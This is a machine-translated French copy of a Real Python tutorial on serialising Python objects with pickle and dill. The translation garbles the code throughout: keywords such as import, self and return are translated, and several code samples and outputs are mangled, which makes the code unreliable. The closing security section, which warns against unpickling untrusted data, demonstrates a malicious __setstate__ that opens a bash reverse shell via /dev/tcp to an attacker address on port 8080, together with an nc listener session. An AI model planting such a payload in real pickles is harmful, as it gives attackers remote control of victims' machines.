Comment conserver des objets en Python – Real Python

By | avril 27, 2020

Python pas cher

En tant que développeur, vous devrez parfois envoyer des hiérarchies d'objets complexes sur un réseau ou enregistrer l'état interne de vos objets sur un disque ou une base de données pour une utilisation ultérieure. Pour ce faire, vous pouvez utiliser un processus appelé sérialisation, qui est entièrement pris en charge par la bibliothèque standard grâce à Python cornichon module.

Dans ce didacticiel, vous apprendrez:

  • Ce que cela signifie sérialiser et désérialiser un objet
  • Lequel modules vous pouvez utiliser pour sérialiser des objets en Python
  • Quels types d'objets peuvent être sérialisés avec Python cornichon module
  • Comment utiliser le Python cornichon module pour sérialiser hiérarchies d'objets
  • Qu'est-ce que des risques sont lors de la désérialisation d'un objet d'une source non fiable

Passons au décapage!

Sérialisation en Python

le sérialisation est un moyen de convertir une structure de données en une forme linéaire qui peut être stockée ou transmise sur un réseau.

En Python, la sérialisation vous permet de prendre une structure d'objet complexe et de la transformer en un flux d'octets qui peut être enregistré sur un disque ou envoyé sur un réseau. Vous pouvez également voir ce processus appelé triage. Le processus inverse, qui prend un flux d'octets et le reconvertit en une structure de données, est appelé désérialisation ou démêler.

La sérialisation peut être utilisée dans de nombreuses situations différentes. L'une des utilisations les plus courantes consiste à enregistrer l'état d'un réseau neuronal après la phase de formation afin de pouvoir l'utiliser plus tard sans avoir à refaire la formation.

Python propose trois modules différents dans la bibliothèque standard qui vous permettent de sérialiser et de désérialiser des objets:

  1. le maréchal module
  2. le json module
  3. le cornichon module

De plus, Python prend en charge XML, que vous pouvez également utiliser pour sérialiser des objets.

le maréchal module est le plus ancien des trois énumérés ci-dessus. Il existe principalement pour lire et écrire le bytecode compilé des modules Python, ou le .pyc les fichiers que vous obtenez lorsque l'interpréteur importe un module Python. Donc, même si vous pouvez utiliser maréchal pour sérialiser certains de vos objets, ce n'est pas recommandé.

le json module est le plus récent des trois. Il vous permet de travailler avec des fichiers JSON standard. JSON est un format très pratique et largement utilisé pour l'échange de données.

Il y a plusieurs raisons de choisir le format JSON: c'est lisible par l'homme et indépendant de la langueet il est plus léger que XML. Avec le json module, vous pouvez sérialiser et désérialiser plusieurs types Python standard:

Le Python cornichon module est une autre façon de sérialiser et de désérialiser des objets en Python. Il diffère du json module en ce qu'il sérialise les objets dans un format binaire, ce qui signifie que le résultat n'est pas lisible par l'homme. Cependant, il est également plus rapide et fonctionne avec de nombreux autres types de Python dès la sortie de l'emballage, y compris vos objets personnalisés.

Ainsi, vous disposez de plusieurs méthodes pour sérialiser et désérialiser des objets en Python. Mais lequel devez-vous utiliser? La réponse courte est qu’il n’existe pas de solution unique. Tout dépend de votre cas d'utilisation.

Voici trois directives générales pour décider de l'approche à utiliser:

  1. N'utilisez pas le maréchal module. Il est principalement utilisé par l’interprète, et la documentation officielle avertit que les responsables de Python peuvent modifier le format de manière incompatible en amont.

  2. le json module et XML sont de bons choix si vous avez besoin d'interopérabilité avec différentes langues ou un format lisible par l'homme.

  3. Le Python cornichon module est un meilleur choix pour tous les cas d'utilisation restants. Si vous n'avez pas besoin d'un format lisible par l'homme ou d'un format interopérable standard, ou si vous avez besoin de sérialiser des objets personnalisés, alors allez avec cornichon.

À l'intérieur du Python cornichon Module

Le Python cornichon module se compose essentiellement de quatre méthodes:

  1. pickle.dump (obj, file, protocol = None, *, fix_imports = True, buffer_callback = None)
  2. pickle.dumps (obj, protocol = None, *, fix_imports = True, buffer_callback = None)
  3. pickle.load (fichier, *, fix_imports = True, encoding = "ASCII", errors = "strict", buffers = None)
  4. pickle.loads (bytes_object, *, fix_imports = True, encoding = "ASCII", errors = "strict", buffers = None)

Les deux premières méthodes sont utilisées pendant le processus de décapage et les deux autres sont utilisées pendant le décapage. La seule différence entre déverser() et vidages () est que le premier crée un fichier contenant le résultat de la sérialisation, tandis que le second renvoie une chaîne.

À différencier vidages () de déverser(), il est utile de se rappeler que le s à la fin du nom de la fonction signifie chaîne. Le même concept s'applique également aux charge() et charges(): Le premier lit un fichier pour démarrer le processus de décompression, et le second opère sur une chaîne.

Prenons l'exemple suivant. Supposons que vous ayez une classe personnalisée nommée classe_exemple avec plusieurs attributs différents, chacun d'un type différent:

  • un numéro
  • un string
  • un dictionnaire
  • une liste
  • a_tuple

L'exemple ci-dessous montre comment vous pouvez instancier la classe et décaper l'instance pour obtenir une chaîne simple. Après avoir décapé la classe, vous pouvez modifier la valeur de ses attributs sans affecter la chaîne décapée. Vous pouvez ensuite décompresser la chaîne picklée dans une autre variable, en restaurant une copie exacte de la classe précédemment picklée:

# pickling.py
importation cornichon

classe classe_exemple:
    un numéro = 35
    un string = "Hey"
    une liste = [[[[1, 2, 3]
    a_dict = "première": "une", "seconde": 2, "troisième": [[[[1, 2, 3]
    a_tuple = (22, 23)

mon_objet = classe_exemple()

my_pickled_object = cornichon.décharges(mon_objet)  # Décapage de l'objet
impression(F"Voici mon objet mariné: nmy_pickled_object n")

mon_objet.a_dict = Aucun

my_unpickled_object = cornichon.charges(my_pickled_object)  # Déballage de l'objet
impression(
    F"Ceci est un_dict de l'objet décroché: nmy_unpickled_object.a_dict n")

Dans l'exemple ci-dessus, vous créez plusieurs objets différents et les sérialisez avec cornichon. Cela produit une seule chaîne avec le résultat sérialisé:

$ python pickling.py
Voici mon objet mariné:
b ' x80  x03c__main __  nexample_class  nq  x00)  x81q  x01.'

Ceci est un_dict de l'objet décroché:
'premier': 'a', 'deuxième': 2, 'troisième': [1, 2, 3]

Le processus de décapage se termine correctement, stockant votre instance entière dans cette chaîne: b ' x80 x03c__main __ nexample_class nq x00) x81q x01.' Une fois le processus de décapage terminé, vous modifiez votre objet d'origine en définissant l'attribut a_dict à Aucun.

Enfin, vous décomplez la chaîne vers une instance complètement nouvelle. Ce que vous obtenez est une copie complète de la structure de votre objet d'origine depuis le début du processus de décapage.

Formats de protocole du Python cornichon Module

Comme mentionné ci-dessus, le cornichon Le module est spécifique à Python et le résultat d'un processus de décapage ne peut être lu que par un autre programme Python. Mais même si vous travaillez avec Python, il est important de savoir que le cornichon module a évolué au fil du temps.

Cela signifie que si vous avez décapé un objet avec une version spécifique de Python, vous ne pourrez peut-être pas le décaper avec une version plus ancienne. La compatibilité dépend de la version du protocole que vous avez utilisée pour le processus de décapage.

Il existe actuellement six protocoles différents que Python cornichon module peut utiliser. Plus la version du protocole est élevée, plus l'interpréteur Python doit être récent pour le décryptage.

  1. Version de protocole 0 était la première version. Contrairement aux protocoles ultérieurs, il est lisible par l'homme.
  2. Version du protocole 1 était le premier format binaire.
  3. Protocole version 2 a été introduit dans Python 2.3.
  4. Protocole version 3 a été ajouté dans Python 3.0. Il ne peut pas être décroché par Python 2.x.
  5. Protocole version 4 a été ajouté dans Python 3.4. Il prend en charge une plus large gamme de tailles et de types d'objets et est le protocole par défaut à partir de Python 3.8.
  6. Protocole version 5 a été ajouté dans Python 3.8. Il prend en charge les données hors bande et des vitesses améliorées pour les données intrabande.

Pour choisir un protocole spécifique, vous devez spécifier la version du protocole lorsque vous appelez charge(), charges(), déverser() ou vidages (). Si vous ne spécifiez pas de protocole, votre interprète utilisera la version par défaut spécifiée dans le pickle.DEFAULT_PROTOCOL attribut.

Types picklable et unpicklable

Vous avez déjà appris que le Python cornichon module peut sérialiser beaucoup plus de types que json module. Cependant, tout n'est pas picklable. La liste des objets non récupérables comprend les connexions à la base de données, les sockets réseau ouverts, les threads en cours d'exécution et autres.

Si vous vous retrouvez face à un objet non récupérable, vous pouvez faire deux ou trois choses. La première option consiste à utiliser une bibliothèque tierce telle que aneth.

le aneth module étend les capacités de cornichon. Selon la documentation officielle, il vous permet de sérialiser des types moins courants comme les fonctions avec des rendements, des fonctions imbriquées, des lambdas et bien d'autres.

Pour tester ce module, vous pouvez essayer de lambda une fonction:

# pickling_error.py
importation cornichon

carré = lambda X : X * X
my_pickle = cornichon.décharges(carré)

Si vous essayez d'exécuter ce programme, vous obtiendrez une exception car le Python cornichon module ne peut pas sérialiser un lambda une fonction:

$ python pickling_error.py
Traceback (dernier appel le plus récent):
        Fichier "pickling_error.py", ligne 6, dans 
                my_pickle = pickle.dumps (carré)
_pickle.PicklingError: Can't pickle <fonction  à 0x10cd52cb0>: recherche d'attribut  sur __main__ a échoué

Essayez maintenant de remplacer le Python cornichon module avec aneth pour voir s'il y a une différence:

# pickling_dill.py
importation aneth

carré = lambda X: X * X
my_pickle = aneth.décharges(carré)
impression(my_pickle)

Si vous exécutez ce code, vous verrez que le aneth module sérialise le lambda sans retourner d'erreur:

$ python pickling_dill.py
b ' x80  x03cdill._dill  n_create_function  nq  x00 (cdill._dill  n_load_type  nq  x01X  x08  x00  x00  x00CodeTypeq  x02  x85q  x03Rq  x04 (K  x01K  x00K  x08 |  x00 |  x00  x14  x00S  x00q  x05N  x85q  x06) X  x01  x00  x00  x00xq  x07  x85q  x08X  x10  x00  x00  x00pickling_dill.pyq  tX  t  x00  x00  x00squareq  nK  x04C  x00q  x0b)) tq  x0cRq  rc__builtin __  n__main __  nh  nNN} q  x0eNtq  x0fRq  x10. '

Une autre caractéristique intéressante de aneth est qu'il peut même sérialiser une session d'interprète entière. Voici un exemple:

>>>

>>> carré = lambda X : X * X
>>> une = carré(35)
>>> importation math
>>> b = math.sqrt(484)
>>> importation aneth
>>> aneth.dump_session('test.pkl')
>>> sortie()

Dans cet exemple, vous démarrez l'interpréteur, importez un module et définissez un lambda fonction avec quelques autres variables. Vous importez ensuite le aneth module et invoquer dump_session () pour sérialiser la session entière.

Si tout se passe bien, vous devriez obtenir un test.pkl fichier dans votre répertoire actuel:

$ ls test.pkl
4 -rw-r - r - @ 1 dave staff 439 3 fév 10:52 test.pkl

Vous pouvez maintenant démarrer une nouvelle instance de l'interpréteur et charger le test.pkl fichier pour restaurer votre dernière session:

>>>

>>> globales().articles()
dict_items ([('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'), ('__spec__', Aucun), ('__annotations__', ), ('__builtins__', )])
>>> importation aneth
>>> aneth.load_session('test.pkl')
>>> globales().articles()
dict_items ([('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'Aucun)('__package__'Aucun)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'[('__name__''__main__')('__doc__'None)('__package__'None)('__loader__'), ('__spec__', Aucun), ('__annotations__', ), ('__builtins__', ), ('aneth', ), ('carré', <fonction  à 0x10a013a70>), ('a', 1225), ('math', ), («b», 22.0)])
>>> une
1225
>>> b
22,0
>>> carré
<fonction  à 0x10a013a70>

La première globaux (). items () indique que l'interpréteur est dans l'état initial. Cela signifie que vous devez importer le aneth module et appel load_session () pour restaurer votre session d'interpréteur sérialisé.

Même si aneth vous permet de sérialiser une gamme d'objets plus large que cornichon, il ne peut pas résoudre tous les problèmes de sérialisation que vous pourriez rencontrer. Si vous avez besoin de sérialiser un objet contenant une connexion à une base de données, par exemple, vous êtes dans une situation difficile, car il s'agit d'un objet non sérialisable même pour aneth.

Alors, comment pouvez-vous résoudre ce problème?

La solution dans ce cas consiste à exclure l'objet du processus de sérialisation et à réinitialiser la connexion après la désérialisation de l'objet.

Vous pouvez utiliser __getstate __ () définir ce qui doit être inclus dans le processus de décapage. Cette méthode vous permet de spécifier ce que vous voulez décaper. Si vous ne remplacez pas __getstate __ (), puis l'instance par défaut __dict__ sera utilisé.

Dans l'exemple suivant, vous allez voir comment définir une classe avec plusieurs attributs et exclure un attribut de la sérialisation avec __getstate () __:

# custom_pickling.py

importation cornichon

classe foobar:
    def __init__(soi):
        soi.une = 35
        soi.b = "tester"
        soi.c = lambda X: X * X

    def __getstate__(soi):
        les attributs = soi.__dict__.copie()
        del les attributs[[[[«c»]
        revenir les attributs

my_foobar_instance = foobar()
my_pickle_string = cornichon.décharges(my_foobar_instance)
my_new_instance = cornichon.charges(my_pickle_string)

impression(my_new_instance.__dict__)

Dans cet exemple, vous créez un objet avec trois attributs. Puisqu'un attribut est un lambda, l'objet n'est pas récupérable avec la norme cornichon module.

Pour résoudre ce problème, vous spécifiez avec quoi décaper __getstate __ (). Vous clonez d'abord l'ensemble __dict__ de l'instance pour que tous les attributs soient définis dans la classe, puis vous supprimez manuellement le décrocheur c attribut.

Si vous exécutez cet exemple, puis désérialisez l'objet, vous verrez que la nouvelle instance ne contient pas le c attribut:

$ python custom_pickling.py
'a': 35, 'b': 'test'

Mais que se passe-t-il si vous souhaitez effectuer des initialisations supplémentaires tout en décompressant, par exemple en ajoutant les exclus c revenir à l'instance désérialisée? Vous pouvez accomplir cela avec __setstate __ ():

# custom_unpickling.py
importation cornichon

classe foobar:
    def __init__(soi):
        soi.une = 35
        soi.b = "tester"
        soi.c = lambda X: X * X

    def __getstate__(soi):
        les attributs = soi.__dict__.copie()
        del les attributs[[[[«c»]
        revenir les attributs

    def __setstate__(soi, Etat):
        soi.__dict__ = Etat
        soi.c = lambda X: X * X

my_foobar_instance = foobar()
my_pickle_string = cornichon.décharges(my_foobar_instance)
my_new_instance = cornichon.charges(my_pickle_string)
impression(my_new_instance.__dict__)

En passant les exclus c s'opposer à __setstate __ (), vous vous assurez qu'il apparaît dans le __dict__ de la chaîne non décapée.

Compression d'objets marinés

Bien que le cornichon le format de données est une représentation binaire compacte d'une structure d'objet, vous pouvez toujours optimiser votre chaîne décapée en la compressant avec bzip2 ou gzip.

Pour compresser une chaîne marinée avec bzip2, vous pouvez utiliser le bz2 module fourni dans la bibliothèque standard.

Dans l'exemple suivant, vous prendrez une chaîne, la décaperez, puis la compresserez à l'aide du bz2 bibliothèque:

>>>

>>> importation cornichon
>>> importation bz2
>>> my_string = "" "Per me si va ne la città dolente,
... par moi si va ne l'etterno dolore,
... par moi si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... podestate de fecemi la divina,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate. "" "
>>> mariné = cornichon.décharges(my_string)
>>> comprimé = bz2.compresse(mariné)
>>> len(my_string)
315
>>> len(comprimé)
259

Lorsque vous utilisez la compression, gardez à l'esprit que les fichiers plus petits se font au prix d'un processus plus lent.

Problèmes de sécurité avec Python cornichon Module

Vous savez maintenant utiliser le cornichon module pour sérialiser et désérialiser des objets en Python. Le processus de sérialisation est très pratique lorsque vous devez enregistrer l’état de votre objet sur le disque ou le transmettre sur un réseau.

Cependant, il y a encore une chose que vous devez savoir sur Python cornichon module: Ce n'est pas sécurisé. Vous souvenez-vous de la discussion __setstate __ ()? Eh bien, cette méthode est idéale pour faire plus d'initialisation lors du décryptage, mais elle peut également être utilisée pour exécuter du code arbitraire pendant le processus de décompression!

Alors, que pouvez-vous faire pour réduire ce risque?

Malheureusement, pas grand-chose. La règle d'or consiste à ne jamais décaper les données provenant d'une source non fiable ou transmises sur un réseau non sécurisé. Afin de prévenir les attaques de l'homme du milieu, c'est une bonne idée d'utiliser des bibliothèques telles que hmac pour signer les données et vous assurer qu'elles n'ont pas été falsifiées.

L'exemple suivant illustre comment le décrochement d'un cornichon trafiqué pourrait exposer votre système aux attaquants, leur donnant même un shell distant fonctionnel:

# remote.py
importation cornichon
importation os

classe foobar:
    def __init__(soi):
        passer

    def __getstate__(soi):
        revenir soi.__dict__

    def __setstate__(soi, Etat):
        # L'attaque est de 192.168.1.10
        # L'attaquant écoute sur le port 8080
        os.système('/ bin / bash -c
                  "/ bin / bash -i> & /dev/tcp/192.168.1.10/8080 0> & 1"')


my_foobar = foobar()
my_pickle = cornichon.décharges(my_foobar)
my_unpickle = cornichon.charges(my_pickle)

Dans cet exemple, le processus de décrochage s'exécute __setstate __ (), qui exécute une commande Bash pour ouvrir un shell distant sur le 192.168.1.10 machine sur le port 8080.

Voici comment tester ce script en toute sécurité sur votre Mac ou votre Linux box. Tout d'abord, ouvrez le terminal et utilisez le NC commande pour écouter une connexion au port 8080:

Ce sera le attaquant Terminal. Si tout fonctionne, la commande semble se bloquer.

Ensuite, ouvrez un autre terminal sur le même ordinateur (ou sur tout autre ordinateur du réseau) et exécutez le code Python ci-dessus pour décrypter le code malveillant. Assurez-vous de remplacer l'adresse IP du code par l'adresse IP de votre terminal attaquant. Dans mon exemple, l'adresse IP de l'attaquant est 192.168.1.10.

En exécutant ce code, la victime exposera un shell à l'attaquant:

Si tout fonctionne, un shell Bash apparaîtra sur la console d'attaque. Cette console peut désormais fonctionner directement sur le système attaqué:

$ nc -l 8080
bash: pas de contrôle des travaux dans ce shell

Le shell interactif par défaut est maintenant zsh.
Pour mettre à jour votre compte pour utiliser zsh, veuillez exécuter `chsh -s / bin / zsh`.
Pour plus de détails, veuillez visiter https://support.apple.com/kb/HT208050.
bash-3.2 $

Alors, je répète encore une fois ce point critique: N'utilisez pas le cornichon module pour désérialiser des objets de sources non fiables!

Conclusion

Vous savez maintenant utiliser le Python cornichon module pour convertir une hiérarchie d'objets en un flux d'octets qui peut être enregistré sur un disque ou transmis sur un réseau. Vous savez également que le processus de désérialisation en Python doit être utilisé avec précaution, car décrypter quelque chose qui provient d'une source non fiable peut être extrêmement dangereux.

Dans ce didacticiel, vous avez appris:

  • Ce que cela signifie sérialiser et désérialiser un objet
  • Lequel modules vous pouvez utiliser pour sérialiser des objets en Python
  • Quels types d'objets peuvent être sérialisés avec Python cornichon module
  • Comment utiliser le Python cornichon module pour sérialiser hiérarchies d'objets
  • Qu'est-ce que des risques sont de décapage à partir d'une source non fiable

Avec ces connaissances, vous êtes bien équipé pour conserver vos objets en utilisant Python cornichon module. En prime, vous êtes prêt à expliquer les dangers de la désérialisation de cornichons malveillants à vos amis et collègues.

Si vous avez des questions, laissez un commentaire ci-dessous ou contactez-moi au Twitter!